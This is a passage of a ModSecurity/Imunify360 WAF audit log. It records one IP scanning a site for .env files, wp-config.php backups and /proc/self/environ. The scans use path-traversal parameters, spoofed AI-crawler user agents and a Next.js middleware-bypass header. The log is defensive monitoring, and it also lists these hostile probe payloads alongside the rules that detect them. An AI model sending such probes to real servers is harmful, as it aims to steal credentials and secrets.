Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/js../.env"] [unique_id "aqZ-m2M7dE9KgIIOpQh5mQAAAMU"]
Stopwatch: 1789296539045213 7719 (- - -)
Stopwatch2: 1789296539045213 7719; combined=5780, p1=307, p2=5315, p3=97, p4=10, p5=51, sr=131, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--14aa640f-Z--
--d34fb728-A--
[13/Sep/2026:13:48:59.092828 +0300] aqZ-m0wu1RSkptiiNIX7CAAAAIw 34.80.249.255 36506 127.0.0.1 7081
--d34fb728-B--
GET /build../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d34fb728-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d34fb728-E--
--d34fb728-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/build../.env"] [unique_id "aqZ-m0wu1RSkptiiNIX7CAAAAIw"]
Stopwatch: 1789296539087202 5683 (- - -)
Stopwatch2: 1789296539087202 5683; combined=4305, p1=260, p2=3934, p3=66, p4=7, p5=37, sr=105, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d34fb728-Z--
--50d4eb3d-A--
[13/Sep/2026:13:48:59.099538 +0300] aqZ-m0wu1RSkptiiNIX7BwAAAJM 34.80.249.255 36498 127.0.0.1 7081
--50d4eb3d-B--
GET /.env.local?.svg?.wasm?init HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--50d4eb3d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--50d4eb3d-E--
--50d4eb3d-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZ-m0wu1RSkptiiNIX7BwAAAJM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZ-m0wu1RSkptiiNIX7BwAAAJM"]
Stopwatch: 1789296539064338 35325 (- - -)
Stopwatch2: 1789296539064338 35325; combined=33832, p1=281, p2=33387, p3=82, p4=9, p5=72, sr=110, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--50d4eb3d-Z--
--ea8c3e77-A--
[13/Sep/2026:13:48:59.493497 +0300] aqZ-mysVWymXUono-eRV9gAAABA 34.80.249.255 36518 127.0.0.1 7081
--ea8c3e77-B--
GET /css../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--ea8c3e77-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--ea8c3e77-E--
--ea8c3e77-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/css../.env"] [unique_id "aqZ-mysVWymXUono-eRV9gAAABA"]
Stopwatch: 1789296539483706 9860 (- - -)
Stopwatch2: 1789296539483706 9860; combined=8207, p1=333, p2=7719, p3=87, p4=10, p5=58, sr=160, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ea8c3e77-Z--
--0f83fe08-A--
[13/Sep/2026:13:48:59.580307 +0300] aqZ-m2M7dE9KgIIOpQh5mgAAAMc 34.80.249.255 36530 127.0.0.1 7081
--0f83fe08-B--
GET /userfiles?path=../../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--0f83fe08-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--0f83fe08-E--
--0f83fe08-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "breveleyendatequila.com"] [uri "/userfiles"] [unique_id "aqZ-m2M7dE9KgIIOpQh5mgAAAMc"]
Stopwatch: 1789296539572295 8072 (- - -)
Stopwatch2: 1789296539572295 8072; combined=6483, p1=1113, p2=5225, p3=81, p4=9, p5=55, sr=132, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0f83fe08-Z--
--eb14490a-A--
[13/Sep/2026:13:48:59.666596 +0300] aqZ-m2M7dE9KgIIOpQh5mwAAANU 34.80.249.255 36536 127.0.0.1 7081
--eb14490a-B--
GET /userfiles?path=../../../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--eb14490a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--eb14490a-E--
--eb14490a-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "breveleyendatequila.com"] [uri "/userfiles"] [unique_id "aqZ-m2M7dE9KgIIOpQh5mwAAANU"]
Stopwatch: 1789296539650601 16123 (- - -)
Stopwatch2: 1789296539650601 16123; combined=23590, p1=284, p2=4770, p3=85, p4=10, p5=9244, sr=122, sw=1, l=0, gc=9196
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--eb14490a-Z--
--04cd5503-A--
[13/Sep/2026:13:49:00.443162 +0300] aqZ-nGM7dE9KgIIOpQh5nAAAANg 34.80.249.255 36548 127.0.0.1 7081
--04cd5503-B--
GET /userfiles?path=../../../../proc/self/environ HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--04cd5503-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--04cd5503-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "breveleyendatequila.com"] [uri "/userfiles"] [unique_id "aqZ-nGM7dE9KgIIOpQh5nAAAANg"]
Action: Intercepted (phase 2)
Stopwatch: 1789296540435455 7755 (- - -)
Stopwatch2: 1789296540435455 7755; combined=5847, p1=429, p2=5080, p3=0, p4=0, p5=337, sr=265, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--04cd5503-Z--
--53f91e28-A--
[13/Sep/2026:13:49:00.596177 +0300] aqZ-nGM7dE9KgIIOpQh5nQAAAMk 34.80.249.255 36560 127.0.0.1 7081
--53f91e28-B--
GET /userfiles/x?path=../../../../proc/self/environ HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--53f91e28-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--53f91e28-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "breveleyendatequila.com"] [uri "/userfiles/x"] [unique_id "aqZ-nGM7dE9KgIIOpQh5nQAAAMk"]
Action: Intercepted (phase 2)
Stopwatch: 1789296540586232 9999 (- - -)
Stopwatch2: 1789296540586232 9999; combined=8217, p1=335, p2=4266, p3=0, p4=0, p5=3615, sr=135, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--53f91e28-Z--
--d8720365-A--
[13/Sep/2026:13:49:00.614407 +0300] aqZ-nGM7dE9KgIIOpQh5ngAAAMs 34.80.249.255 36590 127.0.0.1 7081
--d8720365-B--
GET /userfiles?path=../../../../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d8720365-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d8720365-E--
--d8720365-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "breveleyendatequila.com"] [uri "/userfiles"] [unique_id "aqZ-nGM7dE9KgIIOpQh5ngAAAMs"]
Stopwatch: 1789296540608779 5677 (- - -)
Stopwatch2: 1789296540608779 5677; combined=4336, p1=242, p2=3982, p3=63, p4=6, p5=43, sr=116, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d8720365-Z--
--6b45ad6e-A--
[13/Sep/2026:13:49:00.738230 +0300] aqZ-nGM7dE9KgIIOpQh5nwAAANM 34.80.249.255 36608 127.0.0.1 7081
--6b45ad6e-B--
GET /wp-config.php.bak HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--6b45ad6e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--6b45ad6e-E--
--6b45ad6e-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.bak"] [unique_id "aqZ-nGM7dE9KgIIOpQh5nwAAANM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.bak"] [unique_id "aqZ-nGM7dE9KgIIOpQh5nwAAANM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.bak"] [unique_id "aqZ-nGM7dE9KgIIOpQh5nwAAANM"]
Stopwatch: 1789296540704283 34003 (- - -)
Stopwatch2: 1789296540704283 34003; combined=32441, p1=259, p2=32038, p3=80, p4=10, p5=54, sr=100, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6b45ad6e-Z--
--8c1cbf1b-A--
[13/Sep/2026:13:49:00.738454 +0300] aqZ-nEwu1RSkptiiNIX7CwAAAIE 34.80.249.255 36606 127.0.0.1 7081
--8c1cbf1b-B--
GET /wp-config.php.old HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--8c1cbf1b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--8c1cbf1b-E--
--8c1cbf1b-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.old"] [unique_id "aqZ-nEwu1RSkptiiNIX7CwAAAIE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.old"] [unique_id "aqZ-nEwu1RSkptiiNIX7CwAAAIE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.old"] [unique_id "aqZ-nEwu1RSkptiiNIX7CwAAAIE"]
Stopwatch: 1789296540703399 35136 (- - -)
Stopwatch2: 1789296540703399 35136; combined=33004, p1=486, p2=32353, p3=80, p4=22, p5=63, sr=286, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8c1cbf1b-Z--
--6a55e040-A--
[13/Sep/2026:13:49:01.080826 +0300] aqZ-nUwu1RSkptiiNIX7DAAAAJI 34.80.249.255 36628 127.0.0.1 7081
--6a55e040-B--
GET /laravel/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
